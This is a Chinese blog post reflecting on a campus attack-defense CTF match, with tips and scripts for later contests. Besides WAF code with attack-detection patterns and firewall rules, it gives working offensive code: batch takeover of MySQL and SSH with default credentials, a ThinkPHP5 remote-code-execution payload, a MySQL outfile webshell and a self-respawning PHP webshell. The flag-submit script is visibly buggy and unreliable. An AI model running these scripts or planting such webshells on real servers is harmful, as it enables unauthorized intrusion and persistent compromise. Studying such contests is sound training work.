第一次帶隊參加本校舉辦的線下網絡攻防賽。之前參加過兩場線下攻防賽,是跟着學長的,當時才學,懂的不多,所以全程是端茶遞水的,賽後也沒有總結一下,導致那兩場都白參加了,也導致這一次準備不全面。這一次自己帶隊參加線下攻防賽,準備階段和比賽階段有很多意識和技術方面的原因導致比賽被打的很慘,又無能爲力。反思記錄一下,爲以後的攻防比賽和實際滲透測試環境情況下做準備。
網絡安全攻防比賽是一種更接近實戰的比賽形式,要求參賽人員在攻擊他人的同時也要做好防守。下面僅記錄從本次比賽中獲得的感受。
存在的諸多問題:
1、準備階段做的不好
一個好的waf可以阻擋大部分的攻擊,同時也可以詳細的記錄別人攻擊的過程。我找的waf只擋了小部分的攻擊,並且上waf的姿勢沒對,導致很多payload都看不到詳細情況。
日誌記錄,一般一個好的waf就包含了日誌的記錄。
2、防禦的整套流程不瞭解
看了網上很多大表哥說的什麼iptables禁ip,修改命令別名這些的,等到真正比賽的時候發現權限太低,什麼都做不了,一下就失去了後面防禦的方向。
3、顧此失彼
因爲和我一隊的其他人是才入安全的,所以整支隊伍其實也就我一個人。因爲一共提供了3個web,而我登陸上去過後就一直在修復其中一個,忘了另兩個,導致開局後被打了幾次,然後還被改了數據庫密碼......想想真的是悔啊,那種命運掌握在別人手裏的感覺。
4、對漏洞敏感不足
網上百度到了漏洞,能夠copy網上的payload實現PHPinfo,但是沒有代碼執行的payload,代碼又不是很看的懂,所有就是有漏洞存在都不知道怎麼利用。(學的太菜)
5、thinkphp框架不會
其中有一個web源碼用的是thinkPHP5二次開發的,tp5遠程代碼執行漏洞的payload在這一套源碼上面需要做一些改變,但是對tp5的不熟,以及沒有看出源碼的路由規則,所以不知道如何利用tp5的那個遠程代碼執行漏洞和typecho的install.php的反序列化漏洞。(後悔將大把的時間浪費了,用來學習的時間太少)
6、日誌分析能力太弱
一直顯示被打,看着web抓取的日誌,卻又無從下手,一是日誌抓取的不到位,實現payload的地方沒抓取到,因爲我只是在index文件裏面包含了waf,所有顯示的所有攻擊都是/index.php,最根本的還是沒有從被攻擊的payload當中分析出可能出現的漏洞。
7、腳本爛,腳本爛,腳本爛......
想實現一個自動化的獲取flag的腳本,無奈忘了在地址後面加web所在的端口,臥槽,我就說一直報錯一直報錯,還看不懂報錯信息。。。。。。太粗心了。寫腳本的能力太弱了(亟待加強)
8、對整個流程還是有點模糊,雖然我根據被打的payload拉回了不少分,但是也是後面才知道flag機所在的flag文件位置是寫在前面黑板上的(我是背對着黑板的)。
下面我根據自己在這次比賽中獲得的經歷以及網上的流程自己總結一下打網絡攻防時需要做的工作
比賽流程:
網上一張總結的很好的圖片:
首先要先清楚網絡節點的分佈,知道我們自己的位置,維護的靶機位置,需要攻擊的靶機位置,以及flag機地址和flag所在文件。
這次比賽的網絡分佈:
選手的地址:10.16.0.x
靶機的地址:192.168.0.x
flag機地址:192.168.0.2
flag文件:192.168.0.2/api/flag
這裏附上一張從其他文章上面copy下來的一張圖片
知道網絡分佈是最基本的,因爲你要知道你的敵人和目標在哪兒。
收集一下其他隊伍的主機:
//host.py
#coding:utf-8
with open("host.txt", "a") as f:
for i in range(10,21):
host = "192.168.0."
host = host + str(i)
f.write(host + "\n" + ":port")
//刪掉自己隊伍的ip
防守
先做好防守,再談攻擊,只有防守好了,丟分就不會太嚴重,因爲被攻擊一次扣的分要攻擊別人兩次才能補回來,成本很高。所以防守是非常重要的。
登上ssh後,第一件事修改弱口令,修改弱口令,修改弱口令
ssh,mysql,網站管理後臺
有些比賽有弱口令,所有的賬號都是一個賬號密碼,如果不修改,就等着gg吧。
這次比賽mysql賬號密碼是一樣的,開局還不到三分鐘,正在修改mysql密碼,結果就被強制退出,數據庫密碼被人改了,網站gg,因爲是批量修改,很多人密碼都被改了,所以應該用的是腳本(想的周到啊)。所以啊, 儘快修改弱口令是最重要的。
(查看數據庫賬號密碼是在網站的數據庫配置文件當中)
遇到的一個小問題,是我見識淺,因爲權限問題,低權限用戶登錄數據庫後是看不到mysql數據庫的。
自己寫了一個批量修改mysql數據庫密碼的腳本:
//ModifierMysql.py
import pymysql
with open("host.txt", "r") as f:
for host in f.readlines():
host = host.replace("\n", "")
try:
db = pymysql.connect(host=host, user="root", password="root", database="mysql", charset="utf8")
cur = db.cursor()
cur.execute("UPDATE user set password=PASSWORD('test') WHERE user='root';")
db.commit()
print(host+"'s database connect successfully")
cur.execute("FLUSH PRIVILEGES;")
db.commit()
print(host+"'s privileges flush successfully")
cur.close()
db.close()
except:
print(host+"'s database connect failed")
continue
然後就是ssh的弱口令了,一般ssh的話應該不會是弱口令,但是難免呢,有的話就要儘快修改
放出一個批量修改ssh密碼的腳本(測試成功):
//ModifierSsh.py
#coding:utf-8
import paramiko
with open("host.txt", "r") as f:
for host in f.readlines():
host = host.replace("\n", "")
username = "root"
password= "root"
newpassword= "test"
port=22
try:
ssh=paramiko.SSHClient()
ssh.load_system_host_keys()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname=host,username=username,password=password,timeout=2)
ssh.exec_command("passwd<<EOF\n"+newpassword+"\n"+newpassword+"\n"+"EOF")
print(host+"'password modify successfully")
ssh.close()
except:
print(host+"'password modify failed")
這是修改密碼,一般有弱口令,可以修改過後進行利用,直接登陸ssh然後拿flag
改寫一下上面的腳本
#coding:utf-8
import paramiko
with open("host.txt", "r") as f:
for host in f.readlines():
host = host.replace("\n", "")
username = "root"
password= "root"
port=22
try:
ssh=paramiko.SSHClient()
ssh.load_system_host_keys()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname=host,username=username,password=password,timeout=2)
stdin,stdout,stderr = ssh.exec_command("curl "+host+"/api/flag")
print(stdout.read().decode())
ssh.close()
except:
print(host+" connect failed")
//腳本根據情況需要更改
這就是開局最重要的事情了,看網上師傅們的文章,有的因爲沒有改弱口令一直被打。
弱口令這一塊解決了。
上waf,上日誌檢測腳本
網上有很多這樣的腳本,一般都是waf和日誌檢測功能在一起的。
我這裏有一個學長自己寫的waf腳本,帶日誌檢測功能,很強大。之前網上百度的一個waf,雖然也阻擋了一些攻擊,但是還是有一些攻擊沒有攔截到。但是換上了學長寫的腳本,後面就沒有再被打過。有興趣可以自己看一下:
//waf.php
//需要自己創建一個log文件夾
<?php
error_reporting(0);
define('LOG_FILEDIR','./logs');
function waf() {
if (!function_exists('getallheaders')) {
function getallheaders() {
foreach ($_SERVER as $name => $value) {
if (substr($name, 0, 5) == 'HTTP_')
$headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
}
return $headers;
}
}
$get = $_GET;
$post = $_POST;
$cookie = $_COOKIE;
$header = getallheaders();
$files = $_FILES;
$ip = $_SERVER["REMOTE_ADDR"];
$method = $_SERVER['REQUEST_METHOD'];
$filepath = $_SERVER["SCRIPT_NAME"];
foreach ($_FILES as $key => $value) {
$files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
file_put_contents($_FILES[$key]['tmp_name'], "virink");
}
unset($header['Accept']);
$input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);
logging($input);
}
function logging($var){
$filename = $_SERVER['REMOTE_ADDR'];
$LOG_FILENAME = LOG_FILEDIR."/".$filename;
$time = date("Y-m-d G:i:s");
file_put_contents($LOG_FILENAME, "\r\n".$time."\r\n".print_r($var, true), FILE_APPEND);
file_put_contents($LOG_FILENAME,"\r\n".'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'], FILE_APPEND);
file_put_contents($LOG_FILENAME,"\r\n***************************************************************\n",FILE_APPEND);
}
waf();
?>
這裏再分享一個網上一位師傅的腳本,也是非常的好
<?php
//error_reporting(E_ALL);
//ini_set('display_errors', 1);
/*
** 線下攻防php版本waf
**
** Author: 落
*/
/*
檢測請求方式,除了get和post之外攔截下來並寫日誌。
*/
if($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET'){
write_attack_log("method");
}
$url = $_SERVER['REQUEST_URI']; //獲取uri來進行檢測
$data = file_get_contents('php://input'); //獲取post的data,無論是否是mutipart
$headers = get_all_headers(); //獲取header
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($url)))); //對URL進行檢測,出現問題則攔截並記錄
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($data)))); //對POST的內容進行檢測,出現問題攔截並記錄
/*
檢測過了則對輸入進行簡單過濾
*/
foreach ($_GET as $key => $value) {
$_GET[$key] = filter_dangerous_words($value);
}
foreach ($_POST as $key => $value) {
$_POST[$key] = filter_dangerous_words($value);
}
foreach ($headers as $key => $value) {
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($value)))); //對http請求頭進行檢測,出現問題攔截並記錄
$_SERVER[$key] = filter_dangerous_words($value); //簡單過濾
}
/*
獲取http請求頭並寫入數組
*/
function get_all_headers() {
$headers = array();
foreach($_SERVER as $key => $value) {
if(substr($key, 0, 5) === 'HTTP_') {
$headers[$key] = $value;
}
}
return $headers;
}
/*
檢測不可見字符造成的截斷和繞過效果,注意網站請求帶中文需要簡單修改
*/
function filter_invisible($str){
for($i=0;$i<strlen($str);$i++){
$ascii = ord($str[$i]);
if($ascii>126 || $ascii < 32){ //有中文這裏要修改
if(!in_array($ascii, array(9,10,13))){
write_attack_log("interrupt");
}else{
$str = str_replace($ascii, " ", $str);
}
}
}
$str = str_replace(array("`","|",";",","), " ", $str);
return $str;
}
/*
檢測網站程序存在二次編碼繞過漏洞造成的%25繞過,此處是循環將%25替換成%,直至不存在%25
*/
function filter_0x25($str){
if(strpos($str,"%25") !== false){
$str = str_replace("%25", "%", $str);
return filter_0x25($str);
}else{
return $str;
}
}
/*
攻擊關鍵字檢測,此處由於之前將特殊字符替換成空格,即使存在繞過特性也繞不過正則的\b
*/
function filter_attack_keyword($str){
if(preg_match("/select\b|insert\b|update\b|drop\b|delete\b|dumpfile\b|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|multipoint\(/i", $str)){
write_attack_log("sqli");
}
//此處文件包含的檢測我真的不會寫了,求高人指點。。。
if(substr_count($str,$_SERVER['PHP_SELF']) < 2){
$tmp = str_replace($_SERVER['PHP_SELF'], "", $str);
if(preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)){
write_attack_log("LFI/LFR");;
}
}else{
write_attack_log("LFI/LFR");
}
if(preg_match("/base64_decode|eval\(|assert\(/i", $str)){
write_attack_log("EXEC");
}
if(preg_match("/flag/i", $str)){
write_attack_log("GETFLAG");
}
}
/*
簡單將易出現問題的字符替換成中文
*/
function filter_dangerous_words($str){
$str = str_replace("'", "‘", $str);
$str = str_replace("\"", "“", $str);
$str = str_replace("<", "《", $str);
$str = str_replace(">", "》", $str);
return $str;
}
/*
獲取http的請求包,意義在於獲取別人的攻擊payload
*/
function get_http_raw() {
$raw = '';
$raw .= $_SERVER['REQUEST_METHOD'].' '.$_SERVER['REQUEST_URI'].' '.$_SERVER['SERVER_PROTOCOL']."\r\n";
foreach($_SERVER as $key => $value) {
if(substr($key, 0, 5) === 'HTTP_') {
$key = substr($key, 5);
$key = str_replace('_', '-', $key);
$raw .= $key.': '.$value."\r\n";
}
}
$raw .= "\r\n";
$raw .= file_get_contents('php://input');
return $raw;
}
/*
這裏攔截並記錄攻擊payload
*/
function write_attack_log($alert){
$data = date("Y/m/d H:i:s")." -- [".$alert."]"."\r\n".get_http_raw()."\r\n\r\n";
$ffff = fopen('log_is_a_secret_file.txt', 'a'); //日誌路徑
fwrite($ffff, $data);
fclose($ffff);
if($alert == 'GETFLAG'){
echo "HCTF{aaaa}"; //如果請求帶有flag關鍵字,顯示假的flag。(2333333)
}else{
sleep(15); //攔截前延時15秒
}
exit(0);
}
?>
如何部署waf:
如果是一個框架寫的話,包含在重寫文件或者數據庫文件中。Apache環境可以利用.htaccess強行重寫到waf再轉回原頁面。
修補web站點漏洞
訪問靶機查看比賽的web站點,如果是一套cms,網上百度cms的漏洞,然後儘快修補,如果是舉辦方自己寫的,只有通過審計。
也可以將後臺登陸和文件上傳這些的功能點中的action替換爲#。或者直接刪除登陸,註冊,上傳等這些頁面。
網站備份
網站備份也是非常重要的,如果沒有備份,後面被人打了,有些喜歡攪屎的人喜歡刪除別人的站點,如果不備份,站點被刪除之後會很麻煩(這一次就有攪屎的隊伍,刪除其他隊伍的站點)。
//在網站目錄下
tar -cvf web.tar ./*
源碼掃描
將打包到本地的源碼用D盾或者其他的漏洞檢測工具進行掃描。因爲有些舉辦方會在源碼裏面事先就放一個後門,有些沒有發現就會很慘。在戰鬥打響之後,也要時不時的將源碼打包拖到本地用工具掃一下,檢查一下是不是存在後門。這個工作也是非常重要的。
猥瑣防範
一般被人入侵過後要使用curl去獲取flag,我們將curl這個命令給移除,對於一些新手來說可能就比較懵逼,或者他們以爲這個洞已經被修復了,在一定程度上也會減小我們被攻擊的概率。
移除curl命令:
//因爲curl是二進制文件,直接將curl這個二進制文件移到其他目錄,就不能使用curl這個命令了
//尋找curl的路徑
which curl
//將curl二進制文件移到其他目錄
mv curl ../
掃描端口
雖然這次沒遇到。有些比賽可能還會在服務器上開啓其他一些端口,像永恆之藍這些,如果有,就儘快修復。順便還能打一波其他隊伍。
防火牆設置
#開放ssh
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 22 -j ACCEPT
#打開80端口
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
#開啓多端口簡單用法
iptables -A INPUT -p tcp -m multiport --dport 22,80,8080,8081 -j ACCEPT
#允許外部訪問本地多個端口 如8080,8081,8082,且只允許是新連接、已經連接的和已經連接的延伸出新連接的會話
iptables -A INPUT -p tcp -m multiport --dport 8080,8081,8082,12345 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -p tcp -m multiport --sport 8080,8081,8082,12345 -m state --state ESTABLISHED -j ACCEPT
#單個IP的最大連接數爲 30
iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 30 -j REJECT
#單個IP在60秒內只允許最多新建10個連接
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --update --seconds 60 --hitcount 10 -j REJECT
iptables -A INPUT -p tcp --dport 80 -m recent --name BAD_HTTP_ACCESS --set -j ACCEPT
#允許外部訪問本機80端口,且本機初始只允許有10個連接,每秒新增加2個連接,如果訪問超過此限制則拒接 (此方式可以限制一些攻擊)
iptables -A INPUT -p tcp --dport 80 -m limit --limit 2/s --limit-burst 10 -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -j ACCEPT
#數據包簡單識別,防止端口複用類的後門或者shell
iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 443 -m state --state ESTABLISHED -j ACCEP
#防DDOS攻擊
iptables -A INPUT -p tcp --dport 80 -m limit --limit 20/minute --limit-burst 100 -j ACCEPT
這是網上師傅總結的關於在防火牆方面的防範,不過需要有管理員權限。
防範溢出類攻擊
如果發現服務器上存在可疑的進程,就要進一步分析是否是其他隊伍留下的後門。
//後面研究一下linux進程
攻擊
批量修改弱口令
前面說了,如果存在弱口令,除了修改自己的防止被攻擊,還可以利用腳本攻擊其他人(腳本見前面)。
mysql簡單的getshell(如果有權限):
select '<?php echo system("curl 192.168.x.x/api/flag");?>' into outfile '/var/www/html/xxx/.config.php'
//然後也可以結合前面批量修改mysql密碼的腳本,執行sql語句
//腳本和語句根據實際情況修改
寫批量利用腳本
如果不會寫腳本自動化的話,在比賽中是真的會很慘。(我寫腳本很爛,這一次就是寫本寫好了,但是忘了加URL的端口,導致腳本一直報錯,還沒有發現錯誤,然後就一直手工獲取flag,手工提交flag。還被學長狠狠嘲諷了一番,到最後發現了,腳本也寫出來了,人家漏洞已經修復的差不多了)。
我放一個這次比賽中一個tp5的遠程代碼執行漏洞的利用腳本,然後具體情況自己再寫:
//test.py
import requests
with open("ip.txt", "r") as f:
for i in f.readlines():
i = i.replace("\n", "")
url = "http://"+i+":8003/index.php/?s=home/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=curl%20http://192.168.0.2/api/flag"
#print(url)
res = requests.get(url=url)
if(len(res.text) > 100):
continue
if(len(res.text) == 0):
continue
else:
print(res.text[0:40])
經常查看日誌
發現被人打了,趕快分析日誌,修復漏洞,然後利用別人攻擊的payload去打其他隊伍,上面這個payload就是被別人打的日誌(這一次也主要就是這一個漏洞在拿分......)。
百度cms漏洞,或者自己審計漏洞
這個需要有點代碼功底,同時對常見框架比較熟悉。(我就是太菜了,發現漏洞都不會利用)
自動化提交flag
這次比賽沒有實現,一是腳本寫的不熟練,二是沒有漏洞,確實沒啥好寫的,這次記錄上,下次一定要用上:
//AutoSubflag.py
#encoding:utf-8
import requests
url = "" #提交flag的平臺地址
flag = "" #flag
token = "" #隊伍的憑證
data = {
"flag": flag,
"token": token
}
print("[+] flag is : "+flag)
response = requests.post(url = url, data = json.dumps(data)) #post數據爲json,如果不是不是,則data = data
content = response.content.decoding("utf-8")
print("[+] Content : "+content)
if "failed" in content:
print("[-]failed")
else:
print("[+] Success!")
這一個腳本直接加在攻擊腳本里面,獲取flag後給flag變量,然後進行提交。
簡單的不死馬
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = './.config.php';
$code = '<?php if(md5($_POST["fuck"])=="639bae9ac6b3e1a84cebb7b403297b79"){@eval($_POST[gurenmeng]);} ?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>
//.config.php
//POST
//fuck=you&gurenmeng=system("curl 192.168.x.x/api/flag");
結合上傳木馬後利用的批量getflag
//GetFlag.py
#coding:utf-8
import requests
with open("host.txt", "r") as f:
for host in f.readlines():
host = host.replace("\n", "")
Webshellurl = "http://"+host+":8003/application/.config.php" #路徑根據實際情況
data = {
"fuck": "you",
"gurenmeng": "system('curl 192.168.x.x/api/flag')"
}
res = requests.post(url = Webshellurl, data = data)
if(len(res.text) > 100): #網頁報錯
continue
if(len(res.text) == 0): #空白頁面,自己想的一個簡單的判斷方法
continue
else:
flag = res.text
print(flag)
#也可以直接將提交flag的代碼放在這兒
# url = "" #提交flag的平臺地址
# flag = "" #flag
# token = "" #隊伍的憑證
# data = {
# "flag": flag,
# "token": token
# }
# print("[+] flag is : "+flag)
# response = requests.post(url = url, data = json.dumps(data)) #post數據爲json,如果不是不是,則data = data
# content = response.content
# print("[+] Content : "+content)
# if "failed" in content:
# print("[-]failed")
# else:
# print("[+] Success!")
(還可以將將腳本寫成永真模式,執行一個循環過後sleep 5分鐘,或者sleep 10分鐘,這樣會更加方便)
這就是我從這次比賽的過程中總結出來的東西,腳本是自己能夠理解的比較簡單的腳本,難的 一是不會寫,網上的看不懂也不知道效果如何,提供的腳本可以測試的都是經過測試的。
這篇文章也旨是在總結一下這次的比賽,也是爲以後的比賽做準備,裏面有些是網上看的師傅們的文章。其中有什麼不對,請各位師傅留言糾正。
參考鏈接:
http://rcoil.me/2017/06/CTF%E7%BA%BF%E4%B8%8B%E8%B5%9B%E6%80%BB%E7%BB%93/